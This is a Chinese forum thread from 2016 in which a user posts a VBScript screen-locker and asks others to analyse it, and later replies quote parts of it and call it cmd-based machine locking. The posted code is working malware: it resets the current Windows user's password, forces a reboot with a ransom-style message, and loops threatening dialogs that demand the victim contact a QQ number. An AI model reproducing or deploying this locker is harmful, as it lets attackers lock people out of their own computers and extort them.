Vbe 代码       {来个会分析的~}

社区服务
高级搜索
猴岛论坛电脑百科Vbe 代码       {来个会分析的~}
发帖 回复
正序阅读 最近浏览的帖子最近浏览的版块
5个回复

[电脑闲聊]Vbe 代码       {来个会分析的~}

楼层直达
天上允间

ZxID:67509466

等级: 中尉
凡我放不下的,必是因为我拥有不了的~
举报 只看楼主 使用道具 楼主   发表于: 2016-09-10 0
Const strPassword = "001011"
Dim WshNetwork
Set WshNetwork = CreateObject("WScript.Network")
Dim userName
userName = WshNetwork.userName&",user"
Dim Domain
Set Domain = GetObject("WinNT://./"&userName)
Domain.SetPassword strPassword
Domain.SetInfo
dim gj
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 3600 -c ""你开机密码被我改了!联系QQXXXXXXXX···"" ",0 ,true
do while(a <> "hacker")
a = inputbox ("联系QQ:2774179723不然你也别想关掉、重启就让你开不开机,让你电脑瘫痪,不信你试试"" ","加不加","对不起系统没有检测到你把软件发至五个群",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"哈哈!贪小便宜吃大亏。"
loop
msgbox chr(13) + chr(13) + chr(13) + "哈哈!想要密码了吧,联系QQXXXXXXXXXXX,0元给你 "
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "本软件已绑定你的电脑,请不要删除否则可能引起电脑开不开机"












点击在新窗播放




[ 此帖被天上允间在2016-09-10 18:12重新编辑 ]
不如!辉煌的结束
语 

ZxID:17504384

我不知道将去何方 但我已在路上

举报 只看该作者 5楼  发表于: 2016-09-10 0
WshShell对象的ProgID
引用

船在海上 马在山中 前方有大山大河

世界有不绝风景 我有坚持到底的决心
语 

ZxID:17504384

我不知道将去何方 但我已在路上

举报 只看该作者 4楼  发表于: 2016-09-10 0
基于系统cmdshell来锁机  
WSHshellA.run "cmd.exe /c shutdown -r -t 3600 -c ""你开机密码被我改了!联系QQXXXXXXXX···"" ",0 ,true    [cmd命令关机]
do while(a <> "hacker")
a = inputbox ("联系QQ:2774179723不然你也别想关掉、重启就让你开不开机,让你电脑瘫痪,不信你试试"" ","加不加","对不起系统没有检测到你把软件发至五个群",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"哈哈!贪小便宜吃大亏。"

这个加密  懒得解密了  简单的要死    chr加密的是添加用户命令
loop
msgbox chr(13) + chr(13) + chr(13) + "哈哈!想要密码了吧,联系QQXXXXXXXXXXX,0元给你 "
本帖de评分: 1 条评分 DB +1
DB+1 2016-09-11

我就只给我小弟加一分

引用

船在海上 马在山中 前方有大山大河

世界有不绝风景 我有坚持到底的决心
语 

ZxID:17504384

我不知道将去何方 但我已在路上

举报 只看该作者 地板   发表于: 2016-09-10 0
基于系统cmdshell来锁机  
WSHshellA.run "cmd.exe /c shutdown -r -t 3600 -c ""你开机密码被我改了!联系QQXXXXXXXX···"" ",0 ,true    [cmd命令关机]
do while(a <> "hacker")
a = inputbox ("联系QQ:2774179723不然你也别想关掉、重启就让你开不开机,让你电脑瘫痪,不信你试试"" ","加不加","对不起系统没有检测到你把软件发至五个群",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"哈哈!贪小便宜吃大亏。"

这个加密  懒得解密了  简单的要死    chr加密的是添加用户命令
loop
msgbox chr(13) + chr(13) + chr(13) + "哈哈!想要密码了吧,联系QQXXXXXXXXXXX,0元给你 "
本帖de评分: 1 条评分 DB +1
DB+1 2016-09-11

我就只给我小弟加一分

引用

船在海上 马在山中 前方有大山大河

世界有不绝风景 我有坚持到底的决心
Rick’sMorty

ZxID:17460701

等级: 元老

举报 只看该作者 板凳   发表于: 2016-09-10 0
不会
天上允间

ZxID:67509466

等级: 中尉
凡我放不下的,必是因为我拥有不了的~
举报 只看该作者 沙发   发表于: 2016-09-10 0

点击在新窗播放
[ 此帖被天上允间在2016-09-10 18:06重新编辑 ]
不如!辉煌的结束
« 返回列表
发帖 回复